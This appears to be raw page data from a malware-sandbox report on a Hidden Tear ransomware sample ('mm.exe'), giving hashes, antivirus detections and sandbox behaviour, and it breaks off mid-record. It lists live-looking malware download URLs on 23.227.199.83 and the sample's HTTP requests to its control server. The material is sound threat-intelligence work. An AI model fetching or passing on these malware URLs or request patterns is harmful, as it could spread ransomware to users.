26:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 30:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 25:T4c0,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Ransom.Hiddentear.A.Generic Sample af4802e84b55… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample af4802e84b55…. Malware family: Ransom.Hiddentear.A.Generic. Threat score 100/100. 19/27 AV engines flagged this file. 9 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/af4802e84b5575ef2ade1ef103739afb7352807884dbf1ce7b7c770d994465f7","keywords":["Malicious","Ransom.Hiddentear.A.Generic","malware analysis","sandbox report","threat intelligence","af4802e84b5575ef2ade1ef103739afb7352807884dbf1ce7b7c770d994465f7"],"about":{"@type":"SoftwareApplication","name":"mm.exe","applicationCategory":["peexe","assembly","executable"],"identifier":"af4802e84b5575ef2ade1ef103739afb7352807884dbf1ce7b7c770d994465f7","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Ransom.Hiddentear.A.Generic","antivirusDetections":{"malicious":19,"total":27},"behavioralIndicators":{"malicious":9,"suspicious":13},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T423,Found malicious artifacts related to "23.227.199.83" (ASN: 35017, Owner: Swiftway Sp. z o.o.): ... URL: http://23.227.199.83/Decrypter.exe (AV positives: 5/67 scanned on 03/10/2016 06:05:05) URL: http://23.227.199.83/mm1.exe (AV positives: 8/67 scanned on 03/10/2016 03:40:27) URL: http://23.227.199.83/bb2old.exe (AV positives: 9/67 scanned on 03/10/2016 01:18:12) URL: http://23.227.199.83/mm.exe (AV positives: 2/67 scanned on 03/09/2016 22:33:39) URL: http://23.227.199.83/ (AV positives: 1/67 scanned on 03/09/2016 19:33:09) File SHA256: 9bcb2750326ba0880151f1f4ba524aae2915c54dbb75d949a8c35f95f80a253e (AV positives: 2/56 scanned on 03/10/2016 06:05:20) File SHA256: 6be813322ca2cfcd4a937a7087fb19d716c3e696d0f7ca442e67d5adb451aadc (AV positives: 3/56 scanned on 03/10/2016 03:40:31) File SHA256: f6a74ead6c58e939050580889017f2d5e4a646980509de79c4fb151722388ec1 (AV positives: 25/57 scanned on 03/10/2016 01:18:15) File SHA256: af4802e84b5575ef2ade1ef103739afb7352807884dbf1ce7b7c770d994465f7 (AV positives: 12/57 scanned on 03/09/2016 22:38:42)28:T65d,"" created file "%WINDIR%\Microsoft.NET\Framework\v1.0.3705\clr.dll" "" created file "%WINDIR%\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "" created file "%WINDIR%\Microsoft.NET\Framework\v1.1.4322\clr.dll" "" created file "%WINDIR%\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "" created file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\clr.dll" "" created file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll" "" created file "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" "" created file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\config\machine.config" "" created file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\config\security.config" "" created file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\config\security.config.cch" "" created file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\config\enterprisesec.config" "" created file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\config\enterprisesec.config.cch" "" created file "%WINDIR%\Globalization\Sorting\sortdefault.nls" "" created file "%WINDIR%\assembly\NativeImages_v2.0.50727_32\index141.dat" "" created file "%WINDIR%\system32\l_intl.nls" "" created file "%WINDIR%\assembly\pubpol47.dat" "" created file "%WINDIR%\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp" "" created file "%WINDIR%\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp"29:T505,"" wrote bytes "7739287779a82c77be722c77d62d2c771de2277705a22c77c8682b7757d13277bee32777616f2c7768412a7700502a7700000000ad3709778b2d0977b641097700000000" to virtual address "0x74DF1000" (part of module "WSHIP6.DLL") "" wrote bytes "40532a7758582b77186a2b77653c2c770000000000bffb750000000056ccfb75000000007ccafb7500000000376867756a2c2c77d62d2c7700000000206967750000000029a6fb7500000000a48d677500000000f70efb7500000000" to virtual address "0x773E1000" (part of module "NSI.DLL") "" wrote bytes "db4dd16e00000000" to virtual address "0x00C52000" (part of module "AF4802E84B5575EF2ADE1EF103739AFB7352807884DBF1CE7B7C770D994465F7.EXE") "" wrote bytes "0a2f5a3c" to virtual address "0x6A9E1FDC" (part of module "MSCORWKS.DLL") "" wrote bytes "08571e76047827760000000051c18a7594988a75ee9c8a7575dc8c75273e8c75efb290750000000046cefb75013dfc7538edfc75cfcdfb753123fb75de2ffc75c4cafb7580bbfb7552bafb759fbbfb7592bbfb7546bafb750abffb7500000000" to virtual address "0x69DD1000" (part of module "SHFOLDER.DLL") "" wrote bytes "92e6277779a82c77be722c77d62d2c771de2277705a22c77bee32777616f2c7768412a7700502a7700000000ad3709778b2d0977b641097700000000" to virtual address "0x748D1000" (part of module "WSHTCPIP.DLL")2a:T608,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAQaSURBVFhH7VdLV1NXGPV/OadWWxV5KPiMaItdC5eCCBR0QULegRgDWCQYwiMEQkBqayu1U1uIHTjSkc7oBEhyc1954O537s3jAjdN0C6YNGvtdZJzc8+3v/09zjlHjvz/OWwFrE43+vptB4p+iwPktwqLzYF379fx5u0Hwvv/FN92epT1do/M4QIBq30Qf6xGPwura6+xFv0La69VrNL3P2mOQW/tHQRMZgeSgoR0SkZKlj4B6nuyDnavx2yIqYwS7oICJrNdmTxI7CGQyWYVAisrr/Dy9zcVYeW3V8hm0gqi0agu8gocvTEBBvZbV4FsjgAzXtOzgNp7YdT1zqPeOIez5hDOWUNodAbRODCDC54pXPROKiT/Xl9HShLKhm1fBK7YlmFwPIXBuYSmwUVc80Rw3buAb0bm0Tw6hxu+EL7zz2oI8J+nAIvHtkaBFu/PaBn+CTcfPcOtxwTfMlr9T9EWWMKd6UW0ByPomAsXCKQlPpeEojpK6qgFU6DKNKwfAkaAF9XYMFk7xl+gy/8rugK/oHv6OW6T8Zv+MJrHg7g65ofBN46mCV+RgCiUVYAZP/3IWZoAx4sFAsbgS9yfeYGmoRBO2sbwhWUIXzoe4sSAB189cOOkdwCnR5waAjkFyHOlFNm4SwVmvHGmtzICrU9+xAnzKKr6h3HM5sVxJxkffICvHw7i1LBL8eTMY7uGQLKsAsx48/OW0gSSGgWqjCOq13YyXvCajI+4UP2DA2fGbKh9YtmRA7IsQ6JQlGpkzPi/ExCKIThmzUnOvPaQ5EMkOXldPWpHjc+KOr8ZZwOmYhWI5augAgLFJDzuoli7NZIzr0ny2nEr6if6cW7SiAaStNAHBH5fbXxPI2JVwPaCfBVoE6161IEakryOJK8PkPGpPkqm+7gQ6tlXH9CGpiwBbaLV5iWfNKFhuhfng/dwca4bl8OdOwikchVQyWZWloA20RTJp4yq17M9uDT/PS4vdMKw2F4gIFEOsATUa0BsTqRnHMchHo8jEY/t3Qt2h0CbaA3TfeQ1k7wbl8JduBLpwNWldjQttxUIyGLpMpQlCi0RTCTiiMViiMe2ShDQdEJtop2fZZKT1yS5IXKXjN/BteVWXH92S0OA0/U+35YFSlLm+ebmJra2NvUJCKJ6UJicWqxoK2YVMBGIKLuhRAZKbccCzyPJJcjwlkqAoJsDiaRaBWxvZ4vuB0KyqACLOcsHnk+Co3kWd+b1xsaGgpIEYpwEdibAdgppmQeQBrI0lxKQIWBbprmPhG0C/Y89RwofM2qS5fu/JIrgSZEkGefI8zjFnsU/D6aGrgKMwKEdydgZvafP/Mn3AhO9b7G7YHe5YXW4YbY6YSxzz7jddrd4KC2cTvMXhYMfczeUgzecV+GwL4eHbP8fuv0VoZ+XlYMAAAAASUVORK5CYII=2b:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3d3d3d3d3d3d3d3dwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAd3AAAAAAAAAAAAAAAAAHAHd3AAAAAAAAAAAAAAAABwB3d3/wAAAADwD/////AAcAd3f3fwDwAA8AAAAAAAAHAHd393d3cAD/AAAAAAAABwB3d/d3d3AP8AAAAAAAAAcAd3f3f3fwDwAAAAAAAAAHAHd3f/d3cA8AAAAAAAAABwB3d3d3d3AAAAAAAAAAAAcAd3d3d3dwAAAAAAAAAAAHAHd3d3d3cAAAAAAAAAAABwB4iIiIiIiIiIiIiIiIiIcAeIiIiIiIiIiIiIiHh4eHAHd3d3d3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////w==2c:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3d3d3d3d3d3d3d3dwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAd3AAAAAAAAAAAAAAAAAHAHd3AAAAAAAAAAAAAAAABwB3d3/wAAAADwD/////AAcAd3f3fwDwAA8AAAAAAAAHAHd393d3cAD/AAAAAAAABwB3d/d3d3AP8AAAAAAAAAcAd3f3f3fwDwAAAAAAAAAHAHd3f/d3cA8AAAAAAAAABwB3d3d3d3AAAAAAAAAAAAcAd3d3d3dwAAAAAAAAAAAHAHd3d3d3cAAAAAAAAAAABwB4iIiIiIiIiIiIiIiIiIcAeIiIiIiIiIiIiIiHh4eHAHd3d3d3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////w==2d:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3d3d3d3d3d3d3d3dwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAd3AAAAAAAAAAAAAAAAAHAHd3AAAAAAAAAAAAAAAABwB3d3/wAAAADwD/////AAcAd3f3fwDwAA8AAAAAAAAHAHd393d3cAD/AAAAAAAABwB3d/d3d3AP8AAAAAAAAAcAd3f3f3fwDwAAAAAAAAAHAHd3f/d3cA8AAAAAAAAABwB3d3d3d3AAAAAAAAAAAAcAd3d3d3dwAAAAAAAAAAAHAHd3d3d3cAAAAAAAAAAABwB4iIiIiIiIiIiIiIiIiIcAeIiIiIiIiIiIiIiHh4eHAHd3d3d3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////w==2e:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3d3d3d3d3d3d3d3dwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAd3AAAAAAAAAAAAAAAAAHAHd3AAAAAAAAAAAAAAAABwB3d3/wAAAADwD/////AAcAd3f3fwDwAA8AAAAAAAAHAHd393d3cAD/AAAAAAAABwB3d/d3d3AP8AAAAAAAAAcAd3f3f3fwDwAAAAAAAAAHAHd3f/d3cA8AAAAAAAAABwB3d3d3d3AAAAAAAAAAAAcAd3d3d3dwAAAAAAAAAAAHAHd3d3d3cAAAAAAAAAAABwB4iIiIiIiIiIiIiIiIiIcAeIiIiIiIiIiIiIiHh4eHAHd3d3d3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////w==2f:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3d3d3d3d3d3d3d3dwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAd3AAAAAAAAAAAAAAAAAHAHd3AAAAAAAAAAAAAAAABwB3d3/wAAAADwD/////AAcAd3f3fwDwAA8AAAAAAAAHAHd393d3cAD/AAAAAAAABwB3d/d3d3AP8AAAAAAAAAcAd3f3f3fwDwAAAAAAAAAHAHd3f/d3cA8AAAAAAAAABwB3d3d3d3AAAAAAAAAAAAcAd3d3d3dwAAAAAAAAAAAHAHd3d3d3cAAAAAAAAAAABwB4iIiIiIiIiIiIiIiIiIcAeIiIiIiIiIiIiIiHh4eHAHd3d3d3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////w==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"af4802e84b5575ef2ade1ef103739afb7352807884dbf1ce7b7c770d994465f7","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790443497129,"unified_at":"2026-09-26T17:24:57.129Z","metadata":{"hashes":{"sha256":"af4802e84b5575ef2ade1ef103739afb7352807884dbf1ce7b7c770d994465f7","sha1":"03c2243acb5d48bb57b8ed2ed617b8f3199c7711","md5":"85a65cd0146355f1e3e42755e4feaeed","sha512":"87c3ded571814da24e4a42f30dba87a9646d3cf7c6939583c03406f0c79d17c449493aa7f818a4f0bdd707cd5b19962f99a1e4ed8bdee7e59d4187d474982e7d","ssdeep":"384:fr6qaiSgK2OXz4u7iaVseh9CGrzvbSCekP5KIgJPTu7WX:T6qaiSiOXhVz9jV54RyQ","ssdeep_chunks":["384:fr6qaiS","384:r6qaiSg","384:6qaiSgK","384:qaiSgK2","384:aiSgK2O","384:iSgK2OX","384:SgK2OXz","384:gK2OXz4","384:K2OXz4u","384:2OXz4u7","384:OXz4u7i","384:Xz4u7ia","384:z4u7iaV","384:4u7iaVs","384:u7iaVse","384:7iaVseh","384:iaVseh9","384:aVseh9C","384:Vseh9CG","384:seh9CGr","384:eh9CGrz","384:h9CGrzv","384:9CGrzvb","384:CGrzvbS","384:GrzvbSC","384:rzvbSCe","384:zvbSCek","384:vbSCekP","384:bSCekP5","384:SCekP5K","384:CekP5KI","384:ekP5KIg","384:kP5KIgJ","384:P5KIgJP","384:5KIgJPT","384:KIgJPTu","384:IgJPTu7","384:gJPTu7W","384:JPTu7WX","768:fr6qaiS","768:r6qaiSg","768:6qaiSgK","768:qaiSgK2","768:aiSgK2O","768:iSgK2OX","768:SgK2OXz","768:gK2OXz4","768:K2OXz4u","768:2OXz4u7","768:OXz4u7i","768:Xz4u7ia","768:z4u7iaV","768:4u7iaVs","768:u7iaVse","768:7iaVseh","768:iaVseh9","768:aVseh9C","768:Vseh9CG","768:seh9CGr","768:eh9CGrz","768:h9CGrzv","768:9CGrzvb","768:CGrzvbS","768:GrzvbSC","768:rzvbSCe","768:zvbSCek","768:vbSCekP","768:bSCekP5","768:SCekP5K","768:CekP5KI","768:ekP5KIg","768:kP5KIgJ","768:P5KIgJP","768:5KIgJPT","768:KIgJPTu","768:IgJPTu7","768:gJPTu7W","768:JPTu7WX","384:T6qaiSi","384:6qaiSiO","384:qaiSiOX","384:aiSiOXh","384:iSiOXhV","384:SiOXhVz","384:iOXhVz9","384:OXhVz9j","384:XhVz9jV","384:hVz9jV5","384:Vz9jV54","384:z9jV54R","384:9jV54Ry","384:jV54RyQ"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744"},"file_info":{"file_name":"mm.exe","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":25600,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1499294366000,"last_seen":1689271866000,"last_multi_scan":1689271866000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":null},"stats":{"av":{"malicious_count":19,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":10,"suspicious_count":13,"malicious_count":9,"total":32},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.SGeneric","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/ATRAPS.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Generic.Ransom.Hiddentear.A.E160BB34","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Generic.Ransom.Hiddentear.A.E160BB34 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of MSIL/Filecoder.AV trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Ransom/MSIL.LockFile.c","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 004e01371 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan.MSIL.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"Ransomware-FTD!85A65CD01463","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Dwn.eazlus","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"Ransom_.324BE9E9","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"Ransom_.324BE9E9","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.MSIL9.CEHM","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Downloader.MSIL.gen.rexp","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Filecoder.Win32.2095","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Ransom.Hiddentear.A.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"General","name":"Contacts domains","description":"\"i.imgur.com\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"56e128d2aac2ed12139a275e"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"23.227.199.175:80\"\n \"23.227.199.83:80\"\n \"23.235.40.193:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"56e128d2aac2ed12139a275e"},{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"c:\\mm\\mm\\obj\\Release\\mm.pdb\"\n \"c:\\Decrypter\\Decrypter\\obj\\Release\\Decrypter.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"56e128d2aac2ed12139a275e"},{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"\"POST /getamount.php HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nHost: 23.227.199.175\nContent-Length: 75\nExpect: 100-continue\"\n \"GET /Decrypter.exe HTTP/1.1\nHost: 23.227.199.83\nConnection: Keep-Alive\"\n \"GET /By3yCwd.jpg HTTP/1.1\nHost: i.imgur.com\nConnection: Keep-Alive\"","origin":"Network Traffic","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"56e128d2aac2ed12139a275e"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped 